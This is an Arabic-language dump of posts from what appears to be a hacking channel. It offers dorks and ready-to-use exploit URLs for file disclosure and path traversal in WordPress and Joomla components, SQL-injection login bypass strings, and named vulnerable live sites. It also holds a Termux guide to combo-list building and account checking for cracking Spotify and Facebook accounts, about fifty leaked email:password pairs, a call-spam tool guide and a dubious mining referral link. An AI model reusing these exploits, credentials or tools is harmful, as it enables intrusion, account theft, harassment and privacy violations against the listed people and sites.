Not readable? Request the screenshot as file.

ثغرة wptf-image-gallery 1.0.3 - Remote File  Download

الاستغلال


./wptf-image-gallery/lib-mbox/ajax_load.php


شرح

http://www.site.com/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd


#CS

الثغرة
 Local File Disclosure in wordpress theme Diarise


الدورك
 inurl:"wp-content/themes/diarise/"

الاستغلال

http://site.com/wp-content/themes/diarise/download.php?calendar=[ file:///etc/passwd ]

#CS

الدورك    intext:"ISPROJEK"


بعدها العثور علي لوحه التحكم


راح يكون اليوزر و الباس تبعهم


user: ' or 1=1 limit 1 -- -+

 password: ' or 1=1 limit 1 -- -+


الثاني



الدورك

filename:”wp-config.php” “define(‘DB_PASSWORD’,” extension:php






الدورك
inurl:"index.php?mnu=login"


الاستخدام

/ index.php?mnu=admin


الدورك

intext:"Powered by iyiWebSitesi"


الاستخدام

لوحه التحكم


testpage.com/admin
sql bypass
 id : = ' /*!or*/1=1#
pass : = ' /*!or*/1=1#


#cs

 ثغرة   PHPMiniAdmin 1.9 Database Open No-Secure Exploit


الدورك   

inurl:phpminiadmin.php


الاستغلال


https://site.com/salon/db/phpminiadmin.php



#CS

ثغرة ال
Joomla RSFirewall Components 2.11.25 Database and Password Disclosure


الدورك 
inurl:''/index.php?option=com_rsfirewall''


أو


 inurl:''/administrator/components/com_rsfirewall/'' intext:Hosted & Designed By Suryanandan.net


أو

intext:Designed by Artilabio



الاستغلال


ممكن نسحب اللسته تبع الباسورد

/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt


أو الوصول لقاعدة  البيانات

/administrator/components/com_rsfirewall/sql/mysql/configuration.data.sql

 /administrator/components/com_rsfirewall/sql/mysql/configuration.sql


/administrator/components/com_rsfirewall/sql/mysql/exceptions.sql


/administrator/components/com_rsfirewall/sql/mysql/feeds.data.sql


 /administrator/components/com_rsfirewall/

وغيرها من القواعد


مثال


www.ippbm.gov.my/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt



#CS

السلام عليكم ورحمة الله وبركاته

شرقي اليوم كيفيه  تكريك حسابات سبوتيفاي+فيسبوك+upaly+madiafire+fortnight+hule
  سهل جداا
سنتحتاج الي اداتين هما 
الاتشكر والكومبو البريفيت
 
اولا قم بفتح termux  

اولا علينا تثبيت أداة الكومبو وظيفتها  استخراج  كومبو من التيرمكس

اوامرها
 

pkg install php git -y



git clone https://github.com/Juni0r007/PasTerm.git



cd PasTerm

chmod +x *

php pasterm.php

راح تفتح معك الأداة

و بعدها
راح يطلب لك تكتب key word راح تنسخ
 الموجود بالأسفل و تلصقه علي termux

 
@gmail.com,@yahoo.com,@hotmail.com,@aol.com.@hotmail.co.uk,@hotmail.fr,@msn.com,@yahoo.fr,@wanadoo.fr,@orange.fr,@comcast.net,@yahoo.co.uk,@yahoo.com.br,@yahoo.co.in,@live.com


و بعدها راح يقول لك اكتب اسم لهذة اللسته
  انا كتبت saja

و بعدها راح يطلع لك مسار التم الاحتفاظ به

مثل هذا

/data/data/com.termux/files/home/saja.txt


كذا انتهينا من الأداة الاولي و تم استخراج للسته
 قويه من والكومبو


راح بندا الجزء الثاني و هو  تثبيت اداة اتشكر الاكونتات

 نفتح صفحه جديدة و نكتب الأوامر التاليه


 
1- rm -rif  PasTerm
apt update&&apt upgrade -y

2-termux-setup-storage

3- pkg install php git -y


4- git clone https://github.com/Juni0r007/AIOChk.git


5- ls


6- cd AIOChk


7- chmod +x *


8- php aio.php



و بعدها راح تشتغل الأداة
و راح نختار الرقم واحد

راح يطلب منك المساء الموجود به كومبو راح تكتب المسار الاعطتك ياه الأداة السابقه مثل هذا

/data/data/com.termux/files/home/saja.txt

 و بعدها راح يطلع لك مجموعه من الايميلات مع الباسورد تبعها

استمتعوووو

(شباب الشرح دا انا بريئه منكم لو في حد استخدمه بطريقه سيئه)


#CS

mitsu1975@msn.com:Subaru1975
ilrante36@gmail.com:pashok007
Ayoub77127@gmail.com:aqwzsx77
NiceEmka@mail.ru:cegth5648
florentpetit58@outlook.fr:florent58
waprol71@gmail.com:123456qwe
rene.kaur8@gmail.com:Kanakonn32
diego_mzmn@hotmail.com:Ikariam98
gooders@live.co.uk:Marine11
felix.lorente.7@gmail.com:mojopicon7
Dustin@ykc.com:Berkman1
kosmaladamian@gmail.com:K1o2s3m4
arseniy8808@gmail.com:Bonna8808
aaboywow@hotmail.com:Michelaar9
jessethemexi3@yahoo.com:Kicker123
samsch2003@hotmail.com:samsch23
singersys@yahoo.com:roxburyys01
kaczorm321@gmail.com:Artemis761
ilkerzeno@hotmail.de:Autobot1
ayoubyahia14@gmail.com:amine2007
taipari2017@gmail.com:motorbike8
dique95@mail.ru:qq080705
loganarch6@yahoo.com:TXdpry37
joseph.weaver2012@gmail.com:Ramen106
leonardosborges1998@hotmail.com:isotopo2
bashoreeric@gmail.com:kosmo08
trillolavin97@gmail.com:trillolavin97
bachnguyen@gmail.com:minolta1995
toniandhamish@hotmail.com:fashion108
bryanmontalvo11@gmail.com:nayeli09
sqeezrage@gmail.com:mathieu19
mikkel@ahls.dk:Mikkel2000
hiroki.job0423@gmail.com:hiroki0423
victorito919@gmail.com:octubre87
eruler39@gmail.com:E-Ruler39
flaviocoutinho.nave@gmail.com:tavares121
johnnywithnoh@gmail.com:N0thing.
ashleykaybeck@yahoo.com:socrazy1
rezplz_@hotmail.com:Kitkatz1
mr.juerling@gmail.com:Happy0ne
gamer1966@att.net:tacos4me
bg1995@web.de:zeroalfaxD1!
CHUVAKA622@gmail.com:Juancjc1
mockagemaster@googlemail.com:Excal1bur001
saroks80@mail.ru:071177ser
joaogoncaloribeiro@live.com.pt:Santana5
weslley.thomas25@gmail.com:w1e2s3l4
2nekitgames@gmail.com:nikita7224
necromaniatico66@gmail.com:Putoski123
renat1470@yandex.ru:qazwsxedc1470
giuseppepolese89@gmail.com:311089peppe
ieronman@gmail.com:Fox1337fox
lerjux@gmail.com:zubilinmike1285




#CS

#ملاحظة :

إذا لم تعمل معك الأداة معك .. يلزمها تشغيل vpn

انا استخدمت سايفون

# اسم الثغرة : Joomla com_admin Components from V2.5.4 to V3.7.4
Database Backup Arbitrary File Download Vulnerability



# الدورك
   inurl:''/administrator/components/com_admin/sql/''
# نوع الثغرة   متوسطة
#################################################################################################

# مسار لوحه التحكم :

/administrator

#################################################################################################

# الاستغلالات  :



/joomla/administrator/components/com_admin/sql/others/mysql/......

/PATH/PATH/administrator/components/com_admin/sql/others/mysql/......

/PATH/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/postgresql/.......

/administrator/components/com_admin/sql/updates/sqlazure/......

/administrator/components/com_admin/sql/updates/mysql/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql

/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

/PATH/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.6.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.[THIS-NUMBER-CHANGES-].sql

#################################################################################################

# أمثلة لمواقع مصابة  =>

[+]
xpilot-ai.org/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql

[+]



#CS

الشرح عبارة عن

فيديو

النص رسلتو زمان🔥👍

بي مناسبة الناس قالت انو الأداة ما شغالة معاها حقت مكالمات المزعجة امسح ديك وثبت دي شغالة وهسي قبل ما ارسل المنشور دا ثبتها وجربتها شغال 100%

الشرح فيديو ونص مقدم من
#السلطان
@ayman5593

مساء الخير ساشرح لكم اليوم اداة جديده بلغه php
هذه الاداة تقوم بعمل spammer علي الهاتف يعني مثل الرسائل المزعجة لاكن اتصال وليس رسائل

طريقه التثبيت اكتب الاوامر في تيرموكس
pkg install git php - y

pkg install php
امر تنصيب الاداة
git clone https://github.com/siputra12/fakecall.git
امر فتح ملف  الاداة
cd fakecall
امر اعطاء الصلاحيات للاداة
chmod +x call.php
فتح الاداه
php call.php

لاتنسو تشتركو في قناتي لمزيد من الشروحات الحصرية

https://www.youtube.com/channel/UCwOOyp6gotOz6sf6ilDTljw

الاسم : SO-AT Solution CMS Bypass SQL Login


الدورك  inurl:/coop/re_register.php


الاستغلال


/coop/adminlogon.php



User: ' or 1=1 limit 1 -- -+
Password: ' or 1=1 limit 1 -- -+



أمثلة

 http://healthcoop.or.th/coop/adminlogon.php



 http://www.tot-coop.com/coop/adminlogon.php



#CS

الاسم    Server Info

الدورك

inurl:"debug/default/view?panel=config"


راح تطلع لك مواقع كثيرة

مجرد ما تدخل لها راح يعطيك معلومات
وايضا اسم المستخدم وكلمة المرور

#CS

ثغرة  (FTP2FTP ( Arbitrary File Download :
الدورك  
: inurl:/download2.php?id=
—
الاستغلال


http(s)://host.com/[patch]?id=../index.php
or
http(s)://host.com/[patch]?id=/index.php
—
مثال


http://www.supersat.cz/download/azbox/download2.php?id=23

after exploit :

http://www.supersat.cz/download/azbox/download2.php?id=../index.php
=========================



#CS

موقع تعدين البتكوين ❤️

سرعة هذا الموقع تعادل أضعاف البوتات .




في الفراغ الأول :
تضع عنوان محفظتك البتكوين

في الفراغ الثاني :
تضع أربعة أرقام ككلمة سر

رابط الموقع :

https://btconlinepool.com/r/DE7CA45CC

في يومين فقط جمعت هذا 👆

احلا الدوركات لعيونكم😍



inurl:lists intitle:"FTP root at" intitle:"Gateway Configuration Menu" intitle:"Horde :: My Portal" -"[Tickets" intitle:"i-secure v1.1" -edu intitle:"Icecast Administration Admin Page" intitle:"iDevAffiliate - admin" -demo intitle:"inc. vpn 3000 concentrator" intitle:"Index of..etc" passwd intitle:"Index Of" -inurl:maillog maillog size intitle:"Index of" .bash_history intitle:"Index of" .mysql_history intitle:"Index of" .sh_history intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c intitle:"index of" +myd size intitle:"Index of" cfide intitle:"Index Of" cookies.txt size intitle:"index of" etc/shadow intitle:"index of" htpasswd intitle:"index of" intext:connect.inc intitle:"index of" intext:globals.inc intitle:"index of" master.passwd intitle:"index of" members OR accounts intitle:"index of" mysql.conf OR mysql_config intitle:"index of" passwd intitle:"Index of" passwords modified intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"Index of" pwd.db intitle:"Index of" sc_serv.conf sc_serv content intitle:"index of" spwd intitle:"Index of" spwd.db passwd -pam.conf intitle:"Index of" upload size parent directory intitle:"index of" user_carts OR user_cart intitle:"index.of *" admin news.asp configview.asp intitle:"index.of" .diz .nfo last modified intitle:"ISPMan : Unauthorized Access prohibited" intitle:"ITS System Information" "Please log on to the SAP System" intitle:"iVISTA.Main.Page" intitle:"Joomla - Web Installer" intitle:"Kurant Corporation StoreSense" filetype:bok intitle:"ListMail Login" admin -demo intitle:"live view" intitle:axis intitle:"Login - intitle:"Login Forum intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman intitle:"Login to Cacti" intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id= intitle:"LOGREP - Log file reporting system" -site:itefix.no intitle:"Mail Server CMailServer Webmail" "5.2" intitle:"MailMan Login" intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi intitle:"Merak Mail Server Web Administration" -ihackstuff.com intitle:"microsoft certificate services" inurl:certsrv intitle:"Microsoft Site Server Analysis" intitle:"MikroTik RouterOS Managing Webpage" intitle:"Multimon UPS status page" intitle:"MvBlog powered" intitle:"MX Control Console" "If you can't remember" intitle:"Nessus Scan Report" "This file was generated by Nessus"



#CS

السلام عليكم ورحمة الله وبركاته
في حد منكم يعرف يرجع رقم وهمي مربوط ب gmail

حسابي الكنت احكي معكم فيه طار

إذا بتعرف هاد البوت تبعي
@CS_23bot